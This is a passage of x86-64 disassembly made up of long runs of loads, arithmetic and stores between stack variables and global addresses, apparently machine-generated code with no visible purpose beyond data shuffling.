mov rcx, qword [rsp + 0x5bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5440]
mov byte [rcx], al
lea rax, [rsp + 0xc6]
mov qword [rsp + 0x6068], rax
mov rax, qword [rsp + 0x5388]
mov ecx, dword [rsp + 0x2b38]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5110]
mov qword [rsp + 0x6070], rax
mov rax, qword [rsp + 0x5e98]
mov ecx, dword [0x14017a060]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29dc], eax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8f]
xor eax, ecx
mov byte [0x14017a0cd], al
movzx eax, word [rsp + 0xa2c]
movzx ecx, word [rsp + 0x9c0]
shl eax, cl
mov rcx, qword [rsp + 0x5660]
mov word [rcx], ax
movsx eax, word [rsp + 0x968]
mov rcx, qword [rsp + 0x4e18]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x868], ax
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x6080], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa74]
sar eax, cl
mov rcx, qword [rsp + 0x5780]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a84]
mov dword [rsp + 0x2c4c], eax
mov eax, dword [rsp + 0x2b78]
mov ecx, dword [rsp + 0x2b54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x5cc0]
mov rcx, qword [rsp + 0x5448]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5b78]
mov qword [rcx], rax
lea rax, [rsp + 0x5fe8]
mov qword [rsp + 0x6088], rax
movzx eax, byte [rsp + 0x52]
mov byte [0x14017a0cf], al
mov rax, qword [rsp + 0x51e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x59e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50e0]
mov word [rcx], ax
lea rax, [rsp + 0x9d]
mov qword [rsp + 0x6090], rax
mov rax, qword [rsp + 0x51a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
movsx eax, word [rsp + 0xa34]
mov rcx, qword [0x14017a238]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
lea rax, [rsp + 0x2a88]
mov qword [rsp + 0x6098], rax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5888]
mov rax, qword [rax]
mov qword [rsp + 0x60a0], rax
mov rax, qword [rsp + 0x5b58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b1c], eax
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140178e68], ax
movsx eax, byte [rsp + 0xaf]
movsx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov byte [rsp + 0xea], al
movsx eax, word [rsp + 0x944]
mov rcx, qword [rsp + 0x59e8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5100]
mov word [rcx], ax
mov rax, qword [0x14017a130]
movzx eax, byte [rax]
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x56c0]
movzx ecx, al
mov rax, qword [rsp + 0x5970]
shr rax, cl
mov rcx, qword [rsp + 0x5cc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bec]
mov dword [rsp + 0x2c50], eax
mov rax, qword [rsp + 0x5bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5920]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ce0], rax
mov eax, dword [rsp + 0x2b24]
movzx ecx, al
mov eax, dword [rsp + 0x28cc]
shl eax, cl
mov dword [rsp + 0x2ab8], eax
movsx eax, word [rsp + 0x9d0]
mov rcx, qword [rsp + 0x51e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178eec], ax
lea rax, [rsp + 0x73]
mov qword [rsp + 0x60a8], rax
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8c], al
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x60b0], rax
movsx eax, word [rsp + 0x948]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50f0], rax
mov rax, qword [rsp + 0x5f78]
mov eax, dword [rax]
mov dword [rsp + 0x2c54], eax
mov rax, qword [rsp + 0x51c0]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5618]
mov eax, dword [rax]
mov dword [rsp + 0x2c58], eax
lea rax, [rsp + 0xe4]
mov qword [0x14017a320], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [0x14017a270]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x5578]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x880]
add eax, ecx
mov word [rsp + 0xa10], ax
movzx eax, word [rsp + 0x954]
mov word [rsp + 0xac8], ax
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0x5568]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x2c5c], eax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5bf8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
lea rax, [rsp + 0x4ce8]
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x5328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5200]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x5b30]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178eae], al
mov rax, qword [0x14017a300]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6f], al
movzx eax, word [rsp + 0x8ec]
mov word [rsp + 0xacc], ax
movzx eax, byte [rsp + 0x73]
movzx ecx, byte [rsp + 0xb9]
sar eax, cl
mov rcx, qword [rsp + 0x5608]
mov byte [rcx], al
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x5aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x55b0], rax
mov eax, dword [rsp + 0x2ab8]
mov ecx, dword [rsp + 0x2c54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5df0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a68]
mov dword [rsp + 0x2c60], eax
mov rax, qword [rsp + 0x52a0]
mov rcx, qword [rsp + 0x5788]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x53b0], rax
movsx eax, word [rsp + 0x9b0]
movsx ecx, word [rsp + 0x9bc]
and eax, ecx
mov word [0x140178ed0], ax
lea rax, [rsp + 0xa6c]
mov qword [rsp + 0x60c0], rax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x5d70]
movsx eax, word [rax]
movsx ecx, word [0x140178eec]
add eax, ecx
mov word [rsp + 0x934], ax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0x60c8], rax
mov rax, qword [rsp + 0x5730]
mov rcx, qword [rsp + 0x5bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b34], eax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x60d0], rax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x4ea8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x4ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52b8], rax
movzx eax, byte [0x140178eae]
mov byte [rsp + 0xed], al
lea rax, [rsp + 0x8dc]
mov qword [0x14017a328], rax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8cc]
add eax, ecx
mov rcx, qword [rsp + 0x5b10]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0xee], al
mov rax, qword [0x14017a258]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5ed0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x5ba8]
mov rax, qword [rax]
mov qword [rsp + 0x60d8], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x59a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5ca8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2bcc]
movzx ecx, al
mov eax, dword [0x140178e8c]
shl eax, cl
mov rcx, qword [rsp + 0x5d98]
mov dword [rcx], eax
lea rax, [rsp + 0x56c0]
mov qword [rsp + 0x60e0], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
xor eax, ecx
mov rcx, qword [rsp + 0x59c8]
mov word [rcx], ax
mov rax, qword [0x14017a130]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
or eax, ecx
mov rcx, qword [0x14017a0f0]
mov byte [rcx], al
lea rax, [rsp + 0x81]
mov qword [rsp + 0x60e8], rax
movzx eax, word [rsp + 0xa5c]
movzx ecx, word [rsp + 0x884]
sar eax, cl
mov word [rsp + 0x8d8], ax
movsx eax, word [rsp + 0xa88]
movsx ecx, word [rsp + 0x8e4]
and eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x60f0], rax
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x5cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53b0]
mov qword [rsp + 0x60f8], rax
mov eax, dword [rsp + 0x2b8c]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c04], eax
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc9], al
movsx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0x5430]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178eaf], al
lea rax, [rsp + 0xa64]
mov qword [rsp + 0x6100], rax
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
mov rcx, qword [0x14017a118]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
movzx eax, word [rsp + 0x9a8]
mov word [rsp + 0xad0], ax
mov rax, qword [rsp + 0x51c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5fe8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x55d0], rax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0x6108], rax
mov rax, qword [rsp + 0x5f78]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x57a0]
mov dword [rcx], eax
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x6110], rax
movzx eax, byte [rsp + 0xb6]
movzx ecx, byte [rsp + 0xcb]
shl eax, cl
mov rcx, qword [0x14017a1e8]
mov byte [rcx], al
movsx eax, word [rsp + 0x9bc]
mov rcx, qword [rsp + 0x5e18]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5910]
mov word [rcx], ax
movzx eax, byte [0x140178e9a]
mov byte [rsp + 0xef], al
movzx eax, word [rsp + 0x890]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x5d50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a8]
or eax, ecx
mov word [rsp + 0x9e8], ax
mov rax, qword [rsp + 0x5450]
mov qword [rsp + 0x6118], rax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x5730]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c54], eax
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0x6120], rax
mov rax, qword [rsp + 0x54e8]
mov rcx, qword [rsp + 0x5ce8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x57c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe2]
add eax, ecx
mov byte [0x14017a0ca], al
movzx eax, byte [rsp + 0xee]
mov rcx, qword [0x14017a230]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov word [rsp + 0xad4], ax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa68]
sub eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x5ea0]
movzx eax, byte [rax]
mov byte [rsp + 0xf0], al
mov rax, qword [rsp + 0x51d8]
mov rcx, qword [rsp + 0x58e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5230], rax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2c18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b18], eax
lea rax, [rsp + 0x5d08]
mov qword [rsp + 0x6128], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x5790]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a58], eax
movzx eax, byte [rsp + 0x94]
mov byte [0x14017a0e2], al
mov rax, qword [rsp + 0x5c68]
movzx eax, word [rax]
mov word [rsp + 0xad8], ax
mov rax, qword [rsp + 0x50e0]
movsx eax, word [rax]
movsx ecx, word [0x140178ec0]
add eax, ecx
mov rcx, qword [rsp + 0x5028]
mov word [rcx], ax
lea rax, [rsp + 0x91]
mov qword [rsp + 0x6130], rax
movzx eax, word [rsp + 0xa5c]
movzx ecx, word [rsp + 0xa78]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5528]
mov qword [rsp + 0x6138], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6138]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5270]
mov eax, dword [rax]
mov dword [rsp + 0x2c64], eax
mov rax, qword [rsp + 0x5860]
mov rcx, qword [rsp + 0x5e20]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4f10]
mov qword [rcx], rax
lea rax, [0x14017a064]
mov qword [rsp + 0x6140], rax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x5bb8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140178e8b], al
movsx eax, word [rsp + 0x8a0]
movsx ecx, word [rsp + 0x98c]
xor eax, ecx
mov word [rsp + 0x8d0], ax
mov rax, qword [rsp + 0x5ab8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9a4]
and eax, ecx
mov word [rsp + 0x8a8], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x5688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x5308]
mov rcx, qword [rsp + 0x5b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x5a48]
mov rcx, qword [rsp + 0x5170]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5de8]
mov qword [rsp + 0x6150], rax
lea rax, [rsp + 0x7a]
mov qword [0x14017a330], rax
mov rax, qword [rsp + 0x5ab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0xf2], al
mov rax, qword [rsp + 0x5bf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5690]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa9c], ax
movsx eax, word [rsp + 0x90c]
mov rcx, qword [rsp + 0x5578]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x96c], ax
lea rax, [rsp + 0x2970]
mov qword [rsp + 0x6158], rax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2ad4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5530]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
mov qword [rsp + 0x6160], rax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x5588]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5aa0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xa44]
movzx ecx, word [rsp + 0xa08]
sub eax, ecx
mov rcx, qword [0x14017a120]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f68]
movzx eax, byte [rax]
mov byte [rsp + 0xf3], al
mov rax, qword [rsp + 0x4e18]
movsx eax, word [rax]
mov rcx, qword [0x14017a2a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xad8], ax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x888]
xor eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5d58]
movzx eax, byte [rax]
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0x5ab0]
movzx ecx, al
mov rax, qword [rsp + 0x5e88]
shl rax, cl
mov rcx, qword [rsp + 0x54e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ad0]
mov dword [rsp + 0x2c68], eax
mov rax, qword [rsp + 0x5e20]
movzx ecx, al
mov rax, qword [rsp + 0x4fa0]
sar rax, cl
mov qword [rsp + 0x5138], rax
mov rax, qword [rsp + 0x5ef0]
mov ecx, dword [rsp + 0x2c14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c48], eax
lea rax, [rsp + 0x72]
mov qword [0x14017a338], rax
mov rax, qword [rsp + 0x5d90]
movzx eax, word [rax]
mov word [rsp + 0xadc], ax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x54f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
mov rax, qword [rsp + 0x5dc0]
movzx eax, byte [rax]
mov byte [rsp + 0xf5], al
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
add eax, ecx
mov rcx, qword [rsp + 0x5120]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d98]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af8], eax
mov eax, dword [rsp + 0x2ad0]
mov dword [rsp + 0x2c6c], eax
mov rax, qword [rsp + 0x5d48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov qword [rsp + 0x6168], rax
mov rax, qword [rsp + 0x57c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a070]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6090]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, word [0x140178ebc]
mov word [rsp + 0xae0], ax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov rcx, qword [rsp + 0x5520]
mov byte [rcx], al
movzx eax, word [rsp + 0x994]
mov rcx, qword [rsp + 0x5400]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5478]
mov word [rcx], ax
lea rax, [0x14017a058]
mov qword [rsp + 0x6170], rax
mov eax, dword [rsp + 0x2ae8]
mov ecx, dword [rsp + 0x2c64]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b28], eax
lea rax, [rsp + 0x5d60]
mov qword [rsp + 0x6178], rax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5580]
mov qword [rsp + 0x6180], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6180]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe0], al
lea rax, [rsp + 0x78]
mov qword [0x14017a340], rax
lea rax, [0x140178edc]
mov qword [rsp + 0x6188], rax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9c8], ax
lea rax, [rsp + 0x67]
mov qword [rsp + 0x6190], rax
mov rax, qword [rsp + 0x5398]
mov ecx, dword [rsp + 0x2afc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x5d28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5550], rax
lea rax, [rsp + 0x2c5c]
mov qword [rsp + 0x6198], rax
mov rax, qword [rsp + 0x5fc0]
mov rcx, qword [rsp + 0x52d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b78]
mov qword [rcx], rax
movzx eax, word [rsp + 0x960]
mov word [rsp + 0xae4], ax
movzx eax, word [rsp + 0x904]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
add eax, ecx
mov word [reloc.SHELL32.dll_SHGetImageList], ax
mov rax, qword [rsp + 0x5cc8]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e6a]
sub eax, ecx
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0xa04]
mov rcx, qword [rsp + 0x5640]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x93c], ax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x5b88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2c70], eax
mov rax, qword [rsp + 0x50a0]
mov rcx, qword [rsp + 0x5050]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6018]
mov qword [rcx], rax
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x2c74], eax
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbf]
sub eax, ecx
mov byte [rsp + 0xd6], al
movsx eax, word [rsp + 0xa20]
movsx ecx, word [rsp + 0x960]
and eax, ecx
mov word [0x140178efc], ax
mov rax, qword [0x14017a268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc4]
shl eax, cl
mov rcx, qword [rsp + 0x51f0]
mov byte [rcx], al
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x61a0], rax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x90]
or eax, ecx
mov byte [rsp + 0xa2], al
lea rax, [0x140178e6c]
mov qword [rsp + 0x61a8], rax
mov rax, qword [rsp + 0x5130]
mov rcx, qword [rsp + 0x6178]
mov qword [rsp + 0x61b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61b0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5840], rax
mov rax, qword [rsp + 0x5580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2adc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b8c], eax
lea rax, [rsp + 0x5ce0]
mov qword [rsp + 0x61b8], rax
mov rax, qword [rsp + 0x5c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x93], al
movzx eax, word [rsp + 0x978]
movzx ecx, word [rsp + 0xa90]
sub eax, ecx
mov word [0x140178f00], ax
lea rax, [rsp + 0x998]
mov qword [rsp + 0x61c0], rax
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x5128]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x99], al
movsx eax, word [rsp + 0xa20]
movsx ecx, word [rsp + 0x9cc]
add eax, ecx
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
movzx eax, word [rsp + 0xa1c]
mov word [rsp + 0xae8], ax
mov eax, dword [rsp + 0x2bbc]
mov ecx, dword [rsp + 0x2b0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
lea rax, [rsp + 0x5c18]
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x4f50]
mov rcx, qword [rsp + 0x50c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a84], eax
lea rax, [rsp + 0x5650]
mov qword [rsp + 0x61d0], rax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov byte [0x140178e72], al
mov rax, qword [0x14017a1f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5928]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68], al
lea rax, [rsp + 0xad0]
mov qword [rsp + 0x61d8], rax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
lea rax, [rsp + 0x2a18]
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x5a60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5de8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5458], rax
mov eax, dword [rsp + 0x2bfc]
mov rcx, qword [rsp + 0x5270]
mov qword [rsp + 0x61e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2c64], eax
mov rax, qword [rsp + 0x54c0]
mov rax, qword [rax]
mov qword [rsp + 0x61f0], rax
lea rax, [rsp + 0xbb]
mov qword [0x14017a348], rax
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5d78]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5168]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0x53d8]
